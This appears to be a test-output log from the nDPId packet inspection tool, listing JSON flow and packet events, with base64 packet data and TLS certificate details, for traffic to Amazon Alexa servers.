+00416{"flow_id":142,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2673,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976178,"pkt_ts_usec":285843,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAolf1AAEAGekmsECrYNu8cssZuAbts9RaFSlzPnVAQAVceVgAA"} +00432{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2680,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":144,"flow_packet_id":1,"flow_first_seen":1490976180796,"flow_last_seen":0,"flow_tot_l4_data_len":8,"flow_min_l4_data_len":8,"flow_max_l4_data_len":8,"flow_avg_l4_data_len":8,"midstream":0,"l3_proto":"ip4","src_ip":"0.0.0.0","dst_ip":"224.0.0.1","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} +00406{"flow_id":144,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2680,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976180,"pkt_ts_usec":796726,"pkt_caplen":46,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":38,"pkt_len":46,"pkt_l4_len":8,"pkt":"AQBeAAABAMDKkaPvCABGwAAgAABAAAECBBcAAAAA4AAAAZQEAAARZO6bAAAAAA=="} +00464{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2680,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":144,"flow_packet_id":1,"flow_first_seen":1490976180796,"flow_last_seen":0,"flow_tot_l4_data_len":8,"flow_min_l4_data_len":8,"flow_max_l4_data_len":8,"flow_avg_l4_data_len":8,"midstream":0,"l3_proto":"ip4","src_ip":"0.0.0.0","dst_ip":"224.0.0.1","l4_proto":2,"ndpi": {"proto":"IGMP","breed":"Acceptable","category":"Network"}} +00433{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":2681,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":144,"flow_packet_id":1,"flow_first_seen":1490976180796,"flow_last_seen":0,"flow_tot_l4_data_len":8,"flow_min_l4_data_len":8,"flow_max_l4_data_len":8,"flow_avg_l4_data_len":8,"midstream":0,"l3_proto":"ip4","src_ip":"0.0.0.0","dst_ip":"224.0.0.1","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} +00500{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2681,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":110,"flow_packet_id":20,"flow_first_seen":1490976114885,"flow_last_seen":1490976117017,"flow_tot_l4_data_len":4467,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":223,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45728,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00500{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2681,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":111,"flow_packet_id":19,"flow_first_seen":1490976114894,"flow_last_seen":1490976116921,"flow_tot_l4_data_len":3131,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":164,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45729,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00500{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2681,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":112,"flow_packet_id":20,"flow_first_seen":1490976114906,"flow_last_seen":1490976117017,"flow_tot_l4_data_len":5043,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":252,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45730,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00500{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2681,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":113,"flow_packet_id":19,"flow_first_seen":1490976114921,"flow_last_seen":1490976117016,"flow_tot_l4_data_len":3019,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":158,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45731,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00500{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2681,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":114,"flow_packet_id":21,"flow_first_seen":1490976114940,"flow_last_seen":1490976120960,"flow_tot_l4_data_len":5979,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":284,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45732,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00501{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2681,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":116,"flow_packet_id":31,"flow_first_seen":1490976115905,"flow_last_seen":1490976120950,"flow_tot_l4_data_len":11436,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":368,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.24.180","src_port":37551,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00528{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2681,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":117,"flow_packet_id":7,"flow_first_seen":1490976116084,"flow_last_seen":1490976117005,"flow_tot_l4_data_len":168,"flow_min_l4_data_len":20,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.24.180","src_port":37552,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"}} +00495{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2681,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":117,"flow_packet_id":7,"flow_first_seen":1490976116084,"flow_last_seen":1490976117005,"flow_tot_l4_data_len":168,"flow_min_l4_data_len":20,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.24.180","src_port":37552,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2681,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":145,"flow_packet_id":1,"flow_first_seen":1490976186164,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.28.178","src_port":50800,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":145,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2681,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976186,"pkt_ts_usec":164818,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8hhtAAEAGihesECrYNu8cssZwAbtODwEcAAAAAKAC\/\/9+IQAAAgQFtAQCCAoA9ocHAAAAAAEDAwg="} +00429{"flow_id":145,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2682,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976186,"pkt_ts_usec":394721,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwCmJAAOcGXtw27xyyrBAq2AG7xnDcplSHTg8BHXASH\/7w+wAAAgQFtAEDAwY="} +00416{"flow_id":145,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2683,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976186,"pkt_ts_usec":398073,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAohhxAAEAGiiqsECrYNu8cssZwAbtODwEd3KZUiFAQAVc7bQAA"} +00696{"flow_id":145,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2684,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976186,"pkt_ts_usec":398375,"pkt_caplen":261,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":261,"pkt_l4_len":227,"pkt":"AMDKkaPvePiC0\/vCCABFAAD3hh1AAEAGiVqsECrYNu8cssZwAbtODwEd3KZUiFAYAVcX6AAAFgMBAMoBAADGAwNIp1N542sFVSo0EG+FRg60u0Yye1+MLqKN0bYZ2TEvIQAAIEpKzKnMqMwUzBPAK8AvwCzAMMATwBQAnACdAC8ANQAKAQAAfVpaAAD\/AQABAAAAABgAFgAAE3BpdGFuZ3VpLmFtYXpvbi5jb20AFwAAACMAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQAFAAUBAAAAAAASAAAAEAAOAAwCaDIIaHR0cC8xLjEACwACAQAACgAKAAiqqgAdABcAGHp6AAEA"} +00738{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2684,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":145,"flow_packet_id":4,"flow_first_seen":1490976186164,"flow_last_seen":1490976186398,"flow_tot_l4_data_len":315,"flow_min_l4_data_len":20,"flow_max_l4_data_len":227,"flow_avg_l4_data_len":78,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.28.178","src_port":50800,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +02382{"flow_id":145,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2685,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976186,"pkt_ts_usec":550555,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXcACpAAOcGY2g27xyyrBAq2AG7xnDcplSITg8B7FAYf\/kOiwAAFgMBDLwCAABGAwFY3n26REB5NKXR3I9dkWggmGDU6jpRlw5FpVJBuUrB1SCeZzFPhCqe0IawM80i0LIK\/kW95mA05nnVAtHMuFIHCAAvAAsADGoADGcAByUwggchMIIGCaADAgECAhAcRU2OfD5RXVxbu\/\/vTuNvMA0GCSqGSIb3DQEBCwUAMH4xCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRTeW1hbnRlYyBDb3Jwb3JhdGlvbjEfMB0GA1UECxMWU3ltYW50ZWMgVHJ1c3QgTmV0d29yazEvMC0GA1UEAxMmU3ltYW50ZWMgQ2xhc3MgMyBTZWN1cmUgU2VydmVyIENBIC0gRzQwHhcNMTcwMTEyMDAwMDAwWhcNMTgwMTEzMjM1OTU5WjBtMQswCQYDVQQGEwJVUzETMBEGA1UECAwKV2FzaGluZ3RvbjEQMA4GA1UEBwwHU2VhdHRsZTEZMBcGA1UECgwQQW1hem9uLmNvbSwgSW5jLjEcMBoGA1UEAwwTcGl0YW5ndWkuYW1hem9uLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJYBiz7+LgeGD3Pa4IJcJ09bhuxaGQSx+xajoPkJc5erzMpRRS1Ah2pufryf6dws05DN70Qan0Ob6GrLw2\/HxaGvneCRZhiBGyUMFBcJjk1AKw9+Nf1hXE48DlafnWpGrqpfYt2zsG+eRrhPeKWj+oj0pEgYLwOn\/a4xa6m8CUPuQAn6\/wNlnTqVyC\/SG0Yol6GVytCBUh+TZofarTRdpyUAS308UAcUFDf6BimC5d5mYn2J5R4k65+6sdF0Lg5T\/DhNiIsjt\/imBX+pqRiOG+KKP+QbbicThn04ySXzkSx\/F+UEKU29ls2FzrMVLknBH7eb59tKsTdRgaRpZOW3joUCAwEAAaOCA6owggOmMIIBVgYDVR0RBIIBTTCCAUmCE3BpdGFuZ3VpLmFtYXpvbi5jb22CE2d1aXBpdGFuLmFtYXpvbi5jb22CEGFsZXhhLmFtYXpvbi5jb22CD2VjaG8uYW1hem9uLmNvbYIPYWxleGEuYW1hem9uLmNhghJndWlwaXRhbi5hbWF6b24uY2GCEmFsZXhhLmFtYXpvbi5jby5qcIIVZ3VpcGl0YW4uYW1hem9uLmNvLmpwghNhbGV4YS5hbWF6b24uY29tLm14ghZndWlwaXRhbi5hbWF6b24uY29tLm14ghNhbGV4YS5hbWF6b24uY29tLmJyghZndWlwaXRhbi5hbWF6b24uY29tLmJyghNhbGV4YS5hbWF6b24uY29tLmF1ghZndWlwaXRhbi5hbWF6b24uY29tLmF1gg9hbGV4YS5hbWF6b24uY26CEmd1aXBpdGFuLmFtYXpvbi5jbjAJBgNVHRMEAjAAMA4GA1UdDwEB\/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwYQYDVR0gBFowWDBWBgZngQwBAgIwTDAjBggrBgEFBQcCARYXaHR0cHM6Ly9kLnN5bWNiLmNvbS9jcHMwJQYIKwYBBQUHAgIwGQwXaHR0cHM6Ly9kLnN5bWNiLmNvbS9ycGEwHwYDVR0jBBgwFoAUX2DPYZBV34RDFIpgKrL1evRDGO8wKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL3NzLnN5bWNiLmNvbS9zcy5jcmwwVwYIKwYBBQUHAQEESzBJMB8GCCsGAQUFBzABhhNodHRwOi8vc3Muc3ltY2QuY29tMCYGCCsGAQUFBzAChhpodHRwOi8vc3Muc3ltY2IuY29tL3NzLmNydDCCAQQGCisGAQQB1nkCBAIEgfUEgfIA8AB1AN3rHSt6DU+mIIuBrYFocH4ujp0B1VyIjT0RxM227L7MAAABWZBMcQIAAAQDAEYwRAIgKRWoVVA="} +02385{"flow_id":145,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2686,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976186,"pkt_ts_usec":550962,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXcACxAAOcGY2Y27xyyrBAq2AG7xnDcplo8Tg8B7FAYf\/no\/QAAjFI1u1wWl1G2XSDRRsDgI05xF\/R2SRNbNYayAiBoL+6shVDZBDW9cxLOAAPLGwr35RrKdMLHjy3gwdZfEgB3AKS5CZC0GFgUh7sTosxncAo8NZgE+RvfuON3zQ7IDdwQAAABWZBMcTwAAAQDAEgwRgIhALW9429CqWlJmY7bsqgu877wDiK6qslUq22hmi82aGQuAiEA2sOA1mIiLp7MIPis4\/n9ebUdQVRvG4dTZRoBrrVuMJswDQYJKoZIhvcNAQELBQADggEBAGYgKBIO9j5PJS1o\/wh6NT0DbzNhpExM4s36xlh\/fdFoLOzD3MnFCJ92BlxhyyvXuoWU5uoJMfpq+5QaGibLkf7L6tpnIbnlsv4eXNCJnZsn\/YBiXZkzN8b0IMudSLmP1WtQYDl4qM4g+dti6uq\/rY1mAvLnRMTSDUWsocTd+dUcSc5G9RwVrTdrCca7zCZA+MaMWAROzv86e0RCAZWlVC3xvQC\/4FJLnaRjBmVXMbodATyrnvRkt3AgTo9sdFFTCD3TqzZ4hhKNo+3kKUQSzvXWIBA1lvWZEvNmv9bA1\/cd7RNj4GLWLyUls2RjBH8NrYvZUa7GVTRCoAo+oCutXFUABTwwggU4MIIEIKADAgECAhBRP7l0OHC3NEBBjTCTBpn\/MA0GCSqGSIb3DQEBCwUAMIHKMQswCQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdvcmsxOjA4BgNVBAsTMShjKSAyMDA2IFZlcmlTaWduLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxRTBDBgNVBAMTPFZlcmlTaWduIENsYXNzIDMgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHNTAeFw0xMzEwMzEwMDAwMDBaFw0yMzEwMzAyMzU5NTlaMH4xCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRTeW1hbnRlYyBDb3Jwb3JhdGlvbjEfMB0GA1UECxMWU3ltYW50ZWMgVHJ1c3QgTmV0d29yazEvMC0GA1UEAxMmU3ltYW50ZWMgQ2xhc3MgMyBTZWN1cmUgU2VydmVyIENBIC0gRzQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCy2AXKHHQttRdWOcVKUgmW6EvYDPFon5pCKGLDpTBTflURglsDeg0v4XkEybSWdxmBAZRZ+bz3epkngi23g91aJ3+yA3qcUyXpSB9GT8idKfi+eVb29\/3ZOmjai0uCM0ESw8g8zNaWeoQhGiIEAycXixxoYZMPDlGAMx20tc7rftBirO6zewF072k168rVPanul5jKjapEDiWZShWWpM5tAlQfKmom4gY6Y0istEzRdZNQ\/xMv1trhxhj1n8klXfMAOt4mTbQpCc0PPSNvFkqBFvvygxDDuNbYVTI98b0PvYxSlUoWl3pSIWN1Lxb5xGa+9bUJ2P8nAM1EfG9LP7D3AgMBAAGjggFjMIIBXzASBgNVHRMBAf8ECDAGAQH\/AgEAMDAGA1UdHwQpMCcwJaAjoCGGH2h0dHA6Ly9zMS5zeW1jYi5jb20vcGNhMy1nNS5jcmwwDgYDVR0PAQH\/BAQDAgEGMC8GCCsGAQUFBwEBBCMwITAfBggrBgEFBQcwAYYTaHR0cDovL3MyLnN5bWNiLmNvbTBrBgNVHSAEZDBiMGAGCmCGSAGG+EUBBzYwUjAmBggrBgEFBQcCARYaaHR0cDovL3d3dy5zeW1hdXRoLmNvbS9jcHMwKAYIKwYBBQUHAgIwHBoaaHR0cDovL3d3dy5zeW1hdXRoLmNvbS9ycGEwKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVN5bWFudGVjUEtJLTEtNTM="} +00889{"flow_id":145,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2687,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976186,"pkt_ts_usec":551062,"pkt_caplen":399,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":399,"pkt_l4_len":365,"pkt":"ePiC0\/vCAMDKkVoBCABFAAGBAC5AAOcGZ7827xyyrBAq2AG7xnDcpl\/wTg8B7FAYf\/k+ZgAANDAdBgNVHQ4EFgQUX2DPYZBV34RDFIpgKrL1evRDGO8wHwYDVR0jBBgwFoAUf9Nlp8Ld7LvwMAnzQzn6Aq8zMTMwDQYJKoZIhvcNAQELBQADggEBAF6UVkndji1l9cE2UbYD49qecxnyH1mrWH5sJgUs+oHXXCMXIiw3k\/eG7IXmsKP9H+IyqEVv4dn7ua\/ScKAyQmW\/hP4WKo8\/xabWo5N9Q+l0IZE1KPRj6S7t9\/Vcf0uatSDpCr3gRRAMFJSaXaXjS5HoJJtGQGX0InLNmfiIEfXzf+YzguaoxX7+0AjiJVgIcWjmzaLmFN5OUiQt\/eV5E1PnXi8tTRttQBVSK\/eHiXgSgW7ZTaoteNTCLD0IX4eRnh8OsN4wUmSGiaqdZpwOdgyA8nTYKvi4Os7X1g8RvmurFPW9QaAiY4nxug9vKWNmLT+sjHLF+8fk1A\/yO0+MKccOAAAA"} +01462{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2687,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":145,"flow_packet_id":7,"flow_first_seen":1490976186164,"flow_last_seen":1490976186551,"flow_tot_l4_data_len":3640,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.28.178","src_port":50800,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"pitangui.amazon.com","server_names":"pitangui.amazon.com,guipitan.amazon.com,alexa.amazon.com,echo.amazon.com,alexa.amazon.ca,guipitan.amazon.ca,alexa.amazon.co.jp,guipitan.amazon.co.jp,alexa.amazon.com.mx,guipitan.amazon.com.mx,alexa.amazon.com.br,guipitan.amazon.com.br,alexa.amazon.com.au,guipitan.amazon.com.au,alexa.amazon.cn,guipitan.amazon.cn","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"18e962e106761869a61045bed0e81c2c","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_128_CBC_SHA","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=US, ST=Washington, L=Seattle, O=Amazon.com, Inc., CN=pitangui.amazon.com","alpn":"h2,http\/1.1","fingerprint":"13:E9:3B:22:22:61:41:53:CA:B6:3A:AE:C8:B7:23:FB:A5:11:2F:24"}} +00416{"flow_id":145,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2688,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976186,"pkt_ts_usec":553701,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAohh5AAEAGiiisECrYNu8cssZwAbtODwHs3KZaPFAQAWI03wAA"} +00416{"flow_id":145,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2689,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976186,"pkt_ts_usec":553964,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAohh9AAEAGiiesECrYNu8cssZwAbtODwHs3KZf8FAQAW0vIAAA"} +00417{"flow_id":145,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2690,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976186,"pkt_ts_usec":554095,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAohiBAAEAGiiasECrYNu8cssZwAbtODwHs3KZhSVAQAXktuwAA"} +00861{"flow_id":145,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2691,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976186,"pkt_ts_usec":554964,"pkt_caplen":380,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":380,"pkt_l4_len":346,"pkt":"AMDKkaPvePiC0\/vCCABFAAFuhiFAAEAGiN+sECrYNu8cssZwAbtODwHs3KZhSVAYAXlJAwAAFgMBAQYQAAECAQBWS2LIfqhflGAf5kV56PPa7bUgQMOD4p0iWElWXSquFEXAuFQ+GBCqHQpOwxJz2AR+wpjWvH820Y4jv53hw4O+HqdD7F0DC5\/VS8fH2+c9Fd2CnYH5\/EjvwramI8CP5zgDxb+e1hW+URmDrUvHjtHb0dASRYU0DK3lvyp1Qv4psK0wGgRb7aW1Ox3yI6O4EqQSBn61mkJ72vGUjiqLCGAXsqGKZmZUQjaKhOklfX13mICERmPjyB5+Ubtn2zHEn9L9ilEiqxCcn5Rp7\/1OgcYAHPvTJX2BKbtmn+VEXvqOUpta2xhmatoNVmwt6\/7Iw2AIENBr3Mfe9AdRLID8t1uaFAMBAAEBFgMBADBAEd487FYxjdh5tdHGr1TjJOuj\/q4GpjCMYRAzCsZf1Q2O05gb+tgxl+wF54wKtBI="} +00426{"flow_id":145,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2692,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976186,"pkt_ts_usec":663570,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoDgNAAOcGW0M27xyyrBAq2AG7xnDcpmFJTg8DMlAQf\/St+QAAAAAAAAAA"} +00500{"flow_id":145,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2693,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976186,"pkt_ts_usec":672375,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"ePiC0\/vCAMDKkVoBCABFAABjDgpAAOcGWwE27xyyrBAq2AG7xnDcpmFJTg8DMlAYf\/RKogAAFAMBAAEBFgMBADA4p7End5KUwuKxH9Ha9msxq4AuncpgUjhFvfkTnyh9R3UJ82TPzFkRvwxRuPwx3fo="} +01416{"flow_id":145,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2694,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976186,"pkt_ts_usec":690376,"pkt_caplen":784,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":784,"pkt_l4_len":750,"pkt":"AMDKkaPvePiC0\/vCCABFAAMChiJAAEAGh0qsECrYNu8cssZwAbtODwMy3KZhhFAYAXmiYwAAFwMBACAn98l8mgnWtMl7qgHwywekCwFFAQYaHAcxWLVquHJ8yRcDAQKwAeRXo8hPe2q8mC7ZlQGnGCo597e6ER1ZYY9saWfT5Z6UrNOhBkwwb4TVWKf3Mt75dszd5FLa5EcCPR1p0uOAGCzXArT45g6qlyrlaEdXPNiS9FkBA\/knKduD0zxVK3W8UZSExU+vH14lOqAZYMQVviK2eP31U0CzyxvwHosRy\/+lYKD+Lt2U36MswNRZTSrSTbNDv9RhcOb\/b31coIfUL4u5AeeyfGC7Hox\/\/cWOZPDUKRT9QN6E6nJD7GFmpWkQI2MVNvye7U\/1k3VqdKjFLA7lrhChx9\/8KXVMj5lQf1E\/7GpEregkNhifNTvm4DhLBA93I1+7JIVCgafY0a\/onzH6V+J1oUtoVi9aJlok\/Pw4xOdcWLGbqmyi3i5OkWfg8csz3cMqc31ZdlEhNLJsxZuid33QRPmwZZ+EmmUBVJ\/VuoC5Pv+LaBZ+vY\/nFQAZrgbNSvLZnSJ\/at2EWGFZQLUOCZJbnG75SiLTgsV291\/gUC1BRFfiz+LKscpIaCXggng1icAguWoDw5mAIQNmad1uTjYdxoOzMrB2ASejqFIxzBCkG7ABHWskB9AEFpA5kVMNWQNl9K51mvKTMY1WWx633o\/vKPwCNipecC1sJNSdkcFQZvATkEGiOaHSi688w2ryN5R1\/RKvWy\/Ca5wpT7JYgbmByIFxXX1Y8obBULWHQsAXr\/zmYXUossuMEeoPSn6kYSMu1\/MI+gE9KOhwpImWUkvuh8uWsbuk7efSmwariL4pERB586MwPwVeHtnAVPgvT+zP58btT4wxJ4gsCkiWrmefAnw9H+CBePH76mXlBfYC0bBP5royixndRmG7GFrm089w6SqioIdVKH7P\/MKmwI3YQbHU+o5t2Wo9fcIFrSoTZDPG8LFEQ+6O+s1Vgb+H293Clzfm9Dwcedj5kQ=="} 